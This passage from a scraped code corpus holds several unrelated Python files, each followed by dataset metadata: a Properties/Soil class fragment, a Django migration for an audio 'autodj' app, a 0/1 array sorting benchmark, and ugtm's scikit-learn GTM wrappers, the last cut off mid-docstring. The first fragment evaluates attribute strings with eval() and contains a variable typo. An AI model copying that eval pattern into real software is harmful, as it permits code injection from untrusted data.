if att.startswith('__') or att.startswith('store') or att.startswith('Type') or att.startswith('name'):
continue
dim = eval(getattr(self,att)["dim"])
vvalue = getattr(self,att)["value"]
setattr(self, att, value*dim)
# Cell
class Soil(Properties):
def __init__ (self, props={}):
for key in props.keys():
setattr(self, key, props[key])
for att in dir(self):
if att.startswith('__') or att.startswith('store') or att.startswith('Type') or att.startswith('name'):
continue
dim = eval(getattr(self,att)["dim"])
value = getattr(self,att)["value"]
setattr(self, att, value*dim) | 30.070175 | 115 | 0.560093 | 418 | 3,428 | 4.480861 | 0.12201 | 0.194341 | 0.168179 | 0.078484 | 0.898558 | 0.898558 | 0.898558 | 0.898558 | 0.898558 | 0.898558 | 0 | 0.000822 | 0.290548 | 3,428 | 114 | 116 | 30.070175 | 0.769326 | 0.037923 | 0 | 0.864865 | 1 | 0 | 0.056856 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.094595 | false | 0 | 0.040541 | 0 | 0.22973 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
a78c37ab029acfc0f5541a41d46988910a13a244 | 8,771 | py | Python | app/app/autodj/migrations/0001_initial.py | dtcooper/crazyarms | 71ea0e58958233daaceb8750043f74ef1a141079 | [
"MIT"
] | 15 | 2021-01-18T17:16:51.000Z | 2022-03-28T22:16:19.000Z | app/app/autodj/migrations/0001_initial.py | dtcooper/carb | 71ea0e58958233daaceb8750043f74ef1a141079 | [
"MIT"
] | 4 | 2021-03-14T16:28:40.000Z | 2021-03-31T16:48:49.000Z | app/app/autodj/migrations/0001_initial.py | dtcooper/carb | 71ea0e58958233daaceb8750043f74ef1a141079 | [
"MIT"
] | 3 | 2021-07-15T02:24:19.000Z | 2022-03-18T11:50:05.000Z | # Generated by Django 3.2b1 on 2021-03-22 16:59
import common.models
import datetime
import dirtyfields.dirtyfields
from django.conf import settings
import django.core.validators
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='AudioAsset',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', models.DateTimeField(auto_now_add=True, verbose_name='created')),
('modified', models.DateTimeField(auto_now=True, verbose_name='last modified')),
('title', common.models.TruncatingCharField(blank=True, db_index=True, help_text="If left empty, a title will be generated from the file's metadata.", max_length=255, verbose_name='title')),
('file_basename', models.CharField(max_length=512)),
('file', models.FileField(blank=True, help_text='You can provide either an uploaded audio file or a URL to an external asset.', max_length=512, upload_to=common.models.audio_asset_file_upload_to, verbose_name='audio file')),
('duration', models.DurationField(default=datetime.timedelta(0), verbose_name='Audio duration')),
('fingerprint', models.UUIDField(db_index=True, null=True)),
('status', models.CharField(choices=[('-', 'processing queued'), ('p', 'processing'), ('f', 'processing failed'), ('r', 'ready for play')], db_index=True, default='-', help_text='You will be able to edit this asset when status is "ready for play."', max_length=1, verbose_name='status')),
('task_id', models.UUIDField(null=True)),
('artist', common.models.TruncatingCharField(blank=True, help_text="If left empty, an artist will be generated from the file's metadata.", max_length=255, verbose_name='artist')),
('album', common.models.TruncatingCharField(blank=True, help_text="If left empty, an album will be generated from the file's metadata.", max_length=255, verbose_name='album')),
('title_normalized', common.models.TruncatingCharField(db_index=True, max_length=255)),
('artist_normalized', common.models.TruncatingCharField(db_index=True, max_length=255)),
('album_normalized', common.models.TruncatingCharField(db_index=True, max_length=255)),
('uploader', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL, verbose_name='uploader')),
],
options={
'verbose_name': 'audio asset',
'verbose_name_plural': 'audio assets',
'ordering': ('title', 'artist', 'album', 'id'),
},
bases=(dirtyfields.dirtyfields.DirtyFieldsMixin, models.Model),
),
migrations.CreateModel(
name='Rotator',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100, unique=True, verbose_name='name')),
],
options={
'ordering': ('name',),
},
),
migrations.CreateModel(
name='Stopset',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100, unique=True, verbose_name='name')),
('weight', models.FloatField(default=1.0, help_text="The weight (ie selection bias) for how likely random selection from this playlist/stopset occurs, eg '1.0' is just as likely as all others, '2.0' is 2x as likely, '3.0' is 3x as likely, '0.5' half as likely, and so on. If unsure, leave as '1.0'.", validators=[django.core.validators.MinValueValidator(0.0)], verbose_name='random weight')),
('is_active', models.BooleanField(default=True, help_text='Whether tracks from this playlist/stopset will be selected. You may want to enable special playlists/stopsets at certain times, for example during the holidays.', verbose_name='currently active')),
],
options={
'ordering': ('name',),
'abstract': False,
},
),
migrations.CreateModel(
name='StopsetRotator',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('rotator', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='stopset_rotators', to='autodj.rotator')),
('stopset', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='stopset_rotators', to='autodj.stopset')),
],
options={
'verbose_name': 'rotator in stop set relationship',
'verbose_name_plural': 'rotator in stop set relationships',
'ordering': ('id',),
},
),
migrations.CreateModel(
name='RotatorAsset',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', models.DateTimeField(auto_now_add=True, verbose_name='created')),
('modified', models.DateTimeField(auto_now=True, verbose_name='last modified')),
('title', common.models.TruncatingCharField(blank=True, db_index=True, help_text="If left empty, a title will be generated from the file's metadata.", max_length=255, verbose_name='title')),
('file_basename', models.CharField(max_length=512)),
('file', models.FileField(blank=True, help_text='You can provide either an uploaded audio file or a URL to an external asset.', max_length=512, upload_to=common.models.audio_asset_file_upload_to, verbose_name='audio file')),
('duration', models.DurationField(default=datetime.timedelta(0), verbose_name='Audio duration')),
('fingerprint', models.UUIDField(db_index=True, null=True)),
('status', models.CharField(choices=[('-', 'processing queued'), ('p', 'processing'), ('f', 'processing failed'), ('r', 'ready for play')], db_index=True, default='-', help_text='You will be able to edit this asset when status is "ready for play."', max_length=1, verbose_name='status')),
('task_id', models.UUIDField(null=True)),
('uploader', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL, verbose_name='uploader')),
],
options={
'verbose_name': 'rotator asset',
'verbose_name_plural': 'rotator assets',
'ordering': ('title', 'id'),
},
bases=(dirtyfields.dirtyfields.DirtyFieldsMixin, models.Model),
),
migrations.AddField(
model_name='rotator',
name='rotator_assets',
field=models.ManyToManyField(blank=True, db_index=True, related_name='rotators', to='autodj.RotatorAsset', verbose_name='rotator assets'),
),
migrations.CreateModel(
name='Playlist',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100, unique=True, verbose_name='name')),
('weight', models.FloatField(default=1.0, help_text="The weight (ie selection bias) for how likely random selection from this playlist/stopset occurs, eg '1.0' is just as likely as all others, '2.0' is 2x as likely, '3.0' is 3x as likely, '0.5' half as likely, and so on. If unsure, leave as '1.0'.", validators=[django.core.validators.MinValueValidator(0.0)], verbose_name='random weight')),
('is_active', models.BooleanField(default=True, help_text='Whether tracks from this playlist/stopset will be selected. You may want to enable special playlists/stopsets at certain times, for example during the holidays.', verbose_name='currently active')),
('audio_assets', models.ManyToManyField(blank=True, db_index=True, related_name='playlists', to='autodj.AudioAsset', verbose_name='audio assets')),
],
options={
'ordering': ('name',),
'abstract': False,
},
),
]
| 69.611111 | 408 | 0.634363 | 1,016 | 8,771 | 5.340551 | 0.186024 | 0.075009 | 0.0223 | 0.02875 | 0.816071 | 0.804276 | 0.804276 | 0.804276 | 0.779948 | 0.760781 | 0 | 0.013782 | 0.230646 | 8,771 | 125 | 409 | 70.168 | 0.790308 | 0.005131 | 0 | 0.601695 | 1 | 0.033898 | 0.290348 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.059322 | 0 | 0.09322 | 0.016949 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a7c004cc3b9527bb0d3d30078e4ea9fd65a19841 | 4,682 | py | Python | generic questions/sort.py | rkhale/python | 4ae2c6b3b30db7d63f55f953b1a3f372560c6b39 | [
"Unlicense"
] | null | null | null | generic questions/sort.py | rkhale/python | 4ae2c6b3b30db7d63f55f953b1a3f372560c6b39 | [
"Unlicense"
] | null | null | null | generic questions/sort.py | rkhale/python | 4ae2c6b3b30db7d63f55f953b1a3f372560c6b39 | [
"Unlicense"
] | null | null | null | """
Sort an array of 1's & 0
"""
__author__ = 'Rohan Khale'
try:
import sys
import os
import time
import logging.config
import random
except ImportError as error:
print (error)
sys.exit(-1)
if os.path.exists(os.path.basename(__file__)+ ".log") and os.path.isfile(os.path.basename(__file__)+ ".log"):
os.unlink(os.path.basename(__file__)+ ".log")
#logging.config.fileConfig("logging.conf",defaults={'logfilename': os.path.basename(__file__)+ ".log"})
logging.config.fileConfig(os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))),"resources","logging.conf"),defaults={'logfilename': os.path.basename(__file__)+ ".log"})
logger = logging.getLogger(__name__)
def sort_While (a_to_be_Sorted):
i = 0
i_len_arry = len(a_to_be_Sorted)
startTime = time.time()
while i < i_len_arry:
if a_to_be_Sorted[i] == 0 and i > 0:
a_to_be_Sorted.pop(i)
a_to_be_Sorted.insert(0,0)
i = i + 1
time_taken = time.time() - startTime
logger.debug("Sorted Array :-- %s",a_to_be_Sorted)
logger.info("Time taken to sort %s length Array with While loop is :-- %s sec.",len(a_to_be_Sorted),time_taken)
return (a_to_be_Sorted)
def sort_While_append (a_to_be_Sorted):
i = 0
j = 0
i_len_arry = len(a_to_be_Sorted)
startTime = time.time()
while i < i_len_arry and i + j < i_len_arry:
if a_to_be_Sorted[i] == 1:
j = j + 1
a_to_be_Sorted.pop(i)
a_to_be_Sorted.append(1)
i = i + 1
time_taken = time.time() - startTime
logger.debug("Sorted Array :-- %s",a_to_be_Sorted)
logger.info("Time taken to sort %s length Array with While [append] loop is :-- %s sec.",len(a_to_be_Sorted),time_taken)
return (a_to_be_Sorted)
def sort_For (a_to_be_Sorted):
startTime = time.time()
for i in range (len(a_to_be_Sorted)):
if a_to_be_Sorted[i] == 0 and i > 0:
a_to_be_Sorted.pop(i)
a_to_be_Sorted.insert(0,0)
time_taken = time.time() - startTime
logger.debug("Sorted Array :-- %s",a_to_be_Sorted)
logger.info("Time taken to sort %s length Array with For loop is :-- %s sec.",len(a_to_be_Sorted),time_taken)
return (a_to_be_Sorted)
def sort_For_append (a_to_be_Sorted):
startTime = time.time()
j = 0
for i in range (len(a_to_be_Sorted)):
if a_to_be_Sorted[i] == 1 and i+j < len(a_to_be_Sorted):
j = j + 1
a_to_be_Sorted.pop(i)
a_to_be_Sorted.append(1)
time_taken = time.time() - startTime
logger.debug("Sorted Array :-- %s",a_to_be_Sorted)
logger.info("Time taken to sort %s length Array with For [Append] loop is :-- %s sec.",len(a_to_be_Sorted),time_taken)
return (a_to_be_Sorted)
def sort_default(a_to_be_Sorted):
startTime = time.time()
for i in range (len(a_to_be_Sorted)-1):
for j in range(i+1 , len(a_to_be_Sorted)):
if a_to_be_Sorted[i] > a_to_be_Sorted[j] :
a_to_be_Sorted[j] = a_to_be_Sorted[i] + a_to_be_Sorted[j]
a_to_be_Sorted[i] = a_to_be_Sorted[j] - a_to_be_Sorted[i]
time_taken = time.time() - startTime
logger.debug("Sorted Array :-- %s",a_to_be_Sorted)
logger.info("Time taken to sort %s length Array with n^2 loop is :-- %s sec.",len(a_to_be_Sorted),time_taken)
return (a_to_be_Sorted)
if __name__ == "__main__":
try:
a_org = [random.randint(0,1) for _ in range(10000)]
a_to_be_Sorted = []
a_to_be_Sorted.extend(a_org)
logger.debug("The Array to be sorted :-- %s",a_to_be_Sorted)
sort_While(a_to_be_Sorted)
a_to_be_Sorted = []
a_to_be_Sorted.extend(a_org)
logger.debug("The Array to be sorted :-- %s",a_to_be_Sorted)
sort_While_append(a_to_be_Sorted)
a_to_be_Sorted = []
a_to_be_Sorted.extend(a_org)
logger.debug("The Array to be sorted :-- %s",a_to_be_Sorted)
sort_For(a_to_be_Sorted)
a_to_be_Sorted = []
a_to_be_Sorted.extend(a_org)
logger.debug("The Array to be sorted :-- %s",a_to_be_Sorted)
sort_For_append(a_to_be_Sorted)
a_to_be_Sorted = []
a_to_be_Sorted.extend(a_org)
logger.debug("The Array to be sorted :-- %s",a_to_be_Sorted)
sort_default(a_to_be_Sorted)
except Exception as e:
print (e)
raise Exception | 37.758065 | 190 | 0.606151 | 751 | 4,682 | 3.403462 | 0.109188 | 0.112676 | 0.28169 | 0.288341 | 0.865415 | 0.830203 | 0.811424 | 0.788732 | 0.76252 | 0.714006 | 0 | 0.009729 | 0.275523 | 4,682 | 124 | 191 | 37.758065 | 0.743809 | 0.027339 | 0 | 0.584158 | 0 | 0 | 0.145701 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.049505 | false | 0 | 0.059406 | 0 | 0.158416 | 0.019802 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
a7c78c56da3089c358b1fdadc0c3b7b7014919ca | 25,033 | py | Python | ugtm/ugtm_sklearn.py | Fil/ugtm | f2842848fa014a2865960a62812d840ef222106b | [
"MIT"
] | null | null | null | ugtm/ugtm_sklearn.py | Fil/ugtm | f2842848fa014a2865960a62812d840ef222106b | [
"MIT"
] | null | null | null | ugtm/ugtm_sklearn.py | Fil/ugtm | f2842848fa014a2865960a62812d840ef222106b | [
"MIT"
] | null | null | null | """GTM transformer, classifier and regressor compatible with sklearn
"""
# Authors: Helena A. Gaspar <hagax8@gmail.com>
# License: MIT
from sklearn.base import BaseEstimator, ClassifierMixin, RegressorMixin
from sklearn.base import TransformerMixin
from . import ugtm_gtm
from . import ugtm_landscape
from sklearn.utils.validation import check_X_y, check_array, check_is_fitted
from sklearn.utils.multiclass import unique_labels
from sklearn.neighbors import NearestNeighbors
import numpy as np
class eGTM(BaseEstimator, TransformerMixin):
"""eGTM: GTM Transformer for sklearn pipeline.
Arguments
=========
k : int, optional (default = 16)
If k is set to 0, k is computed as sqrt(5*sqrt(n_individuals))+2.
k is the sqrt of the number of GTM nodes.
One of four GTM hyperparameters (k, m, s, regul).
Ex: k = 25 means the GTM will be discretized into a 25x25 grid.
m : int, optional (default = 4)
If m is set to 0, m is computed as sqrt(k).
m is the qrt of the number of RBF centers.
One of four GTM hyperparameters (k, m, s, regul).
Ex: m = 5 means the RBF functions will be arranged on a 5x5 grid.
s : float, optional (default = 0.3)
RBF width factor.
One of four GTM hyperparameters (k, m, s, regul).
Parameter to tune width of RBF functions.
Impacts manifold flexibility.
regul : float, optional (default = 0.1)
One of four GTM hyperparameters (k, m, s, regul).
Regularization coefficient.
random_state : int (default = 1234)
Random state.
niter : int, optional (default = 200)
Number of iterations for EM algorithm.
verbose : bool, optional (default = False)
Verbose mode (outputs loglikelihood values during EM algorithm).
"""
def __init__(self, k=16, m=4, s=0.3, regul=0.1,
random_state=1234,
niter=200, verbose=False):
"""Constructor for eGTM class.
Parameters
==========
k : int, optional (default = 16)
If k is set to 0, k is computed as sqrt(5*sqrt(n_individuals))+2.
k is the sqrt of the number of GTM nodes.
One of four GTM hyperparameters (k, m, s, regul).
Ex: k = 25 means the GTM will be discretized into a 25x25 grid.
m : int, optional (default = 4)
If m is set to 0, m is computed as sqrt(k).
m is the qrt of the number of RBF centers.
One of four GTM hyperparameters (k, m, s, regul).
Ex: m = 5 means the RBF functions will be arranged on a 5x5 grid.
s : float, optional (default = 0.3)
RBF width factor.
One of four GTM hyperparameters (k, m, s, regul).
Parameter to tune width of RBF functions.
Impacts manifold flexibility.
regul : float, optional (default = 0.1)
One of four GTM hyperparameters (k, m, s, regul).
Regularization coefficient.
random_state : int (default = 1234)
Random state.
niter : int, optional (default = 200)
Number of iterations for EM algorithm.
verbose : bool, optional (default = False)
Verbose mode (outputs loglikelihood values during EM algorithm).
"""
self.k = k
self.m = m
self.s = s
self.regul = regul
self.random_state = random_state
self.niter = niter
self.verbose = verbose
def fit(self, X):
"""Fits GTM to X using :class:`~ugtm.ugtm_classes.OptimizedGTM`.
Parameters
==========
X : 2D array
Data matrix.
"""
X = check_array(X)
self.initialModel = ugtm_gtm.initialize(X, self.k,
self.m, self.s,
self.random_state)
self.optimizedModel = ugtm_gtm.optimize(X, self.initialModel,
self.regul,
self.niter,
verbose=self.verbose)
return self
def transform(self, X, model="means"):
"""Projects new data X onto GTM using :func:`~ugtm.ugtm_gtm.projection`.
Parameters
==========
X : 2D array
Data matrix.
model : {'means', 'modes', 'responsibilities','complete'}, optional
GTM data representations:
'means' for mean data positions,
'modes' for positions with max. responsibilities,
'responsibilities' for probability distribution on the map,
'complete' for a complete instance of :class:`~ugtm.ugtm_classes.OptimizedGTM`
Returns
=======
if model="means", array of shape (n_instances, 2),
if model="modes", array of shape (n_instances, 2),
if model="responsibilities", array of shape (n_instances, n_nodes),
if model="complete", instance of class :class:`~ugtm.ugtm_classes.OptimizedGTM`
"""
# Check fit
check_is_fitted(self, ['optimizedModel'])
# Input validation
X = check_array(X)
# Project new data onto fitted GTM
self.projected = ugtm_gtm.projection(self.optimizedModel, X)
# Output
dic = {}
dic["complete"] = self.projected
dic["means"] = self.projected.matMeans
dic["modes"] = self.projected.matModes
dic["responsibilities"] = self.projected.matR
return dic[model]
def fit_transform(self, X, model="means"):
"""Fits and transforms X using GTM.
Parameters
==========
X : 2D array
Data matrix.
model : {'means', 'modes', 'responsibilities','complete'}, optional
GTM data representations:
'means' for mean data positions,
'modes' for positions with max. responsibilities,
'responsibilities' for probability distribution on the map,
'complete' for a complete instance of :class:`~ugtm.ugtm_classes.OptimizedGTM`
Returns
=======
if model="means", array of shape (n_instances, 2),
if model="modes", array of shape (n_instances, 2),
if model="responsibilities", array of shape (n_instances, n_nodes),
if model="complete", instance of class :class:`~ugtm.ugtm_classes.OptimizedGTM`
"""
X = check_array(X)
self.initialModel = ugtm_gtm.initialize(X, self.k,
self.m, self.s,
self.random_state)
self.optimizedModel = ugtm_gtm.optimize(X,
self.initialModel,
self.regul,
self.niter,
verbose=self.verbose)
# Check fit
check_is_fitted(self, ['optimizedModel'])
# Input validation
X = check_array(X)
# Project new data onto fitted GTM
self.projected = ugtm_gtm.projection(self.optimizedModel, X)
# Output
dic = {}
dic["complete"] = self.projected
dic["means"] = self.projected.matMeans
dic["modes"] = self.projected.matModes
dic["responsibilities"] = self.projected.matR
return dic[model]
class eGTC(BaseEstimator, ClassifierMixin):
"""eGTC : GTC Bayesian classifier for sklearn pipelines.
Arguments
=========
k : int, optional (default = 16)
If k is set to 0, k is computed as sqrt(5*sqrt(n_individuals))+2.
k is the sqrt of the number of GTM nodes.
One of four GTM hyperparameters (k, m, s, regul).
Ex: k = 25 means the GTM will be discretized into a 25x25 grid.
m : int, optional (default = 4)
If m is set to 0, m is computed as sqrt(k).
m is the qrt of the number of RBF centers.
One of four GTM hyperparameters (k, m, s, regul).
Ex: m = 5 means the RBF functions will be arranged on a 5x5 grid.
s : float, optional (default = 0.3)
RBF width factor.
One of four GTM hyperparameters (k, m, s, regul).
Parameter to tune width of RBF functions.
Impacts manifold flexibility.
regul : float, optional (default = 0.1)
One of four GTM hyperparameters (k, m, s, regul).
Regularization coefficient.
random_state : int (default = 1234)
Random state.
niter : int, optional (default = 200)
Number of iterations for EM algorithm.
verbose : bool, optional (default = False)
Verbose mode (outputs loglikelihood values during EM algorithm).
prior : {'estimated', 'equiprobable'}
Type of prior for class map. Use 'estimated' to account for
class imbalance.
"""
def __init__(self, k=16, m=4, s=0.3, regul=0.1,
random_state=1234,
niter=200, verbose=False,
prior='estimated'):
"""Constructor for eGTC.
Parameters
==========
k : int, optional (default = 16)
If k is set to 0, k is computed as sqrt(5*sqrt(n_individuals))+2.
k is the sqrt of the number of GTM nodes.
One of four GTM hyperparameters (k, m, s, regul).
Ex: k = 25 means the GTM will be discretized into a 25x25 grid.
m : int, optional (default = 4)
If m is set to 0, m is computed as sqrt(k).
m is the qrt of the number of RBF centers.
One of four GTM hyperparameters (k, m, s, regul).
Ex: m = 5 means the RBF functions will be arranged on a 5x5 grid.
s : float, optional (default = 0.3)
RBF width factor.
One of four GTM hyperparameters (k, m, s, regul).
Parameter to tune width of RBF functions.
Impacts manifold flexibility.
regul : float, optional (default = 0.1)
One of four GTM hyperparameters (k, m, s, regul).
Regularization coefficient.
random_state : int (default = 1234)
Random state.
niter : int, optional (default = 200)
Number of iterations for EM algorithm.
verbose : bool, optional (default = False)
Verbose mode (outputs loglikelihood values during EM algorithm).
prior : {'estimated', 'equiprobable'}
Type of prior for class map. Use 'estimated' to account for
class imbalance.
"""
self.k = k
self.m = m
self.s = s
self.regul = regul
self.random_state = random_state
self.niter = niter
self.verbose = verbose
self.prior = prior
def fit(self, X, y):
"""Constructs activity model f(X,y) using :func:`~ugtm.ugtm_landscape.classMap`.
Parameters
==========
X : array of shape (n_instances, n_dimensions)
Data matrix.
y : array of shape (n_instances,)
Data labels.
"""
X, y = check_X_y(X, y)
self.initialModel = ugtm_gtm.initialize(X,
self.k, self.m,
self.s, self.random_state)
self.optimizedModel = ugtm_gtm.optimize(X,
self.initialModel,
self.regul,
self.niter,
verbose=self.verbose)
# compute activity model, posterior probabilities of class membership
classmap = ugtm_landscape.classMap(
self.optimizedModel, y, self.prior)
self.node_probabilities = classmap.nodeClassP
self.node_label = classmap.activityModel
self.classes_ = unique_labels(y)
# Return the classifier
return self
def predict(self, X):
"""Predicts new labels for X using :func:`~ugtm.ugtm_gtm.projection`.
Parameters
==========
X : array of shape (n_instances, n_dimensions)
Data matrix.
"""
# Check fit
check_is_fitted(self, ['optimizedModel', 'node_probabilities'])
# Input validation
X = check_array(X)
# Project new data onto fitted GTM
projected = ugtm_gtm.projection(self.optimizedModel, X).matR
# Dot product between projections and class probabilities
self.posteriors = np.dot(projected, self.node_probabilities)
self.predicted = np.argmax(self.posteriors, axis=1)
return self.predicted
class eGTR(BaseEstimator, RegressorMixin):
"""eGTR: GTM nearest node(s) regressor for sklearn pipelines.
Parameters
==========
k : int, optional (default = 16)
If k is set to 0, k is computed as sqrt(5*sqrt(n_individuals))+2.
k is the sqrt of the number of GTM nodes.
One of four GTM hyperparameters (k, m, s, regul).
Ex: k = 25 means the GTM will be discretized into a 25x25 grid.
m : int, optional (default = 4)
If m is set to 0, m is computed as sqrt(k).
m is the qrt of the number of RBF centers.
One of four GTM hyperparameters (k, m, s, regul).
Ex: m = 5 means the RBF functions will be arranged on a 5x5 grid.
s : float, optional (default = 0.3)
RBF width factor.
One of four GTM hyperparameters (k, m, s, regul).
Parameter to tune width of RBF functions.
Impacts manifold flexibility.
regul : float, optional (default = 0.1)
One of four GTM hyperparameters (k, m, s, regul).
Regularization coefficient.
random_state : int (default = 1234)
Random state.
niter : int, optional (default = 200)
Number of iterations for EM algorithm.
verbose : bool, optional (default = False)
Verbose mode (outputs loglikelihood values during EM algorithm).
prior : {'estimated', 'equiprobable'}
Type of prior for class map. Use 'estimated' to account for
class imbalance.
n_neighbors : int, optional (default = 2)
Number of neighbors for kNN algorithm.
representation : {'modes', 'means'}, optional
Type of 2D representation used in kNN algorithm.
"""
def __init__(self, k=16, m=4, s=0.3, regul=0.1,
random_state=1234,
niter=200, verbose=False,
n_neighbors=2, representation="modes"):
"""Constructor for eGTR.
Parameters
==========
k : int, optional (default = 16)
If k is set to 0, k is computed as sqrt(5*sqrt(n_individuals))+2.
k is the sqrt of the number of GTM nodes.
One of four GTM hyperparameters (k, m, s, regul).
Ex: k = 25 means the GTM will be discretized into a 25x25 grid.
m : int, optional (default = 4)
If m is set to 0, m is computed as sqrt(k).
m is the qrt of the number of RBF centers.
One of four GTM hyperparameters (k, m, s, regul).
Ex: m = 5 means the RBF functions will be arranged on a 5x5 grid.
s : float, optional (default = 0.3)
RBF width factor.
One of four GTM hyperparameters (k, m, s, regul).
Parameter to tune width of RBF functions.
Impacts manifold flexibility.
regul : float, optional (default = 0.1)
One of four GTM hyperparameters (k, m, s, regul).
Regularization coefficient.
random_state : int (default = 1234)
Random state.
niter : int, optional (default = 200)
Number of iterations for EM algorithm.
verbose : bool, optional (default = False)
Verbose mode (outputs loglikelihood values during EM algorithm).
n_neighbors : int, optional (default = 2)
Number of neighbors for kNN algorithm.
representation : {'modes', 'means'}, optional
Type of 2D representation used in kNN algorithm.
"""
self.k = k
self.m = m
self.s = s
self.regul = regul
self.random_state = random_state
self.niter = niter
self.verbose = verbose
self.n_neighbors = n_neighbors
self.representation = representation
def fit(self, X, y):
"""Constructs activity model f(X,y) using :func:`~ugtm.ugtm_landscape.landscape`.
Parameters
==========
X : array of shape (n_instances, n_dimensions)
Data matrix.
y : array of shape (n_instances,)
Data labels.
"""
X, y = check_X_y(X, y)
# Train GTM
self.initialModel = ugtm_gtm.initialize(X, self.k,
self.m, self.s,
self.random_state)
self.optimizedModel = ugtm_gtm.optimize(X, self.initialModel,
self.regul,
self.niter,
verbose=self.verbose)
# Compute activity model = activity landscape
self.node_label = ugtm_landscape.landscape(self.optimizedModel, y)
# Return the regressor
return self
def predict(self, X):
"""Predicts new labels for X using :func:`~ugtm.ugtm_gtm.projection`.
Parameters
==========
X : array of shape (n_instances, n_dimensions)
Data matrix.
"""
# Check fit
check_is_fitted(self, ['optimizedModel', 'node_label'])
# Input validation
X = check_array(X)
# Project new data onto fitted GTM
projected = ugtm_gtm.projection(self.optimizedModel, X)
# Initialize knn model
neighborModel = NearestNeighbors(
n_neighbors=self.n_neighbors, metric='euclidean')
# Choose 2D GTM representation
if self.representation == 'means':
rep = projected.matMeans
elif self.representation == 'modes':
rep = projected.matModes
# Initialize kNN model using nodes coordinates
fitted = neighborModel.fit(self.optimizedModel.matX)
# Compute distances between
# test set projections and nodes on the map
dist, nnID = fitted.kneighbors(rep, return_distance=True)
dist[dist <= 0] = 10E-8 # np.finfo(float).tiny
# The predicted value is the average of neareset landscape activities
self.predicted = np.average(
self.node_label[nnID], axis=1, weights=1 / ((dist)**2))
# Return predictions
return self.predicted
class eGTCnn(BaseEstimator, RegressorMixin):
"""eGTCnn: GTC nearest node classifier for sklearn pipelines.
Arguments
=========
k : int, optional (default = 16)
If k is set to 0, k is computed as sqrt(5*sqrt(n_individuals))+2.
k is the sqrt of the number of GTM nodes.
One of four GTM hyperparameters (k, m, s, regul).
Ex: k = 25 means the GTM will be discretized into a 25x25 grid.
m : int, optional (default = 4)
If m is set to 0, m is computed as sqrt(k).
m is the qrt of the number of RBF centers.
One of four GTM hyperparameters (k, m, s, regul).
Ex: m = 5 means the RBF functions will be arranged on a 5x5 grid.
s : float, optional (default = 0.3)
RBF width factor.
One of four GTM hyperparameters (k, m, s, regul).
Parameter to tune width of RBF functions.
Impacts manifold flexibility.
regul : float, optional (default = 0.1)
One of four GTM hyperparameters (k, m, s, regul).
Regularization coefficient.
random_state : int (default = 1234)
Random state.
niter : int, optional (default = 200)
Number of iterations for EM algorithm.
verbose : bool, optional (default = False)
Verbose mode (outputs loglikelihood values during EM algorithm).
prior : {'estimated', 'equiprobable'}
Type of prior for class map. Use 'estimated' to account for
class imbalance.
representation : {'modes', 'means'}, optional
Type of 2D representation used in kNN algorithm.
"""
def __init__(self, k=16, m=4, s=0.3, regul=0.1,
random_state=1234,
niter=200, verbose=False,
prior='estimated',
representation="modes"):
"""Constructor for eGTCnn.
Parameters
==========
k : int, optional (default = 16)
If k is set to 0, k is computed as sqrt(5*sqrt(n_individuals))+2.
k is the sqrt of the number of GTM nodes.
One of four GTM hyperparameters (k, m, s, regul).
Ex: k = 25 means the GTM will be discretized into a 25x25 grid.
m : int, optional (default = 4)
If m is set to 0, m is computed as sqrt(k).
m is the qrt of the number of RBF centers.
One of four GTM hyperparameters (k, m, s, regul).
Ex: m = 5 means the RBF functions will be arranged on a 5x5 grid.
s : float, optional (default = 0.3)
RBF width factor.
One of four GTM hyperparameters (k, m, s, regul).
Parameter to tune width of RBF functions.
Impacts manifold flexibility.
regul : float, optional (default = 0.1)
One of four GTM hyperparameters (k, m, s, regul).
Regularization coefficient.
random_state : int (default = 1234)
Random state.
niter : int, optional (default = 200)
Number of iterations for EM algorithm.
verbose : bool, optional (default = False)
Verbose mode (outputs loglikelihood values during EM algorithm).
prior : {'estimated', 'equiprobable'}
Type of prior for class map. Use 'estimated' to account for
class imbalance.
representation : {'modes', 'means'}, optional
Type of 2D representation used in kNN algorithm.
"""
self.k = k
self.m = m
self.s = s
self.regul = regul
self.random_state = random_state
self.niter = niter
self.verbose = verbose
self.n_neighbors = 1
self.prior = prior
self.representation = representation
def fit(self, X, y):
"""Constructs activity model f(X,y) using :func:`~ugtm.ugtm_landscape.classMap`.
Parameters
==========
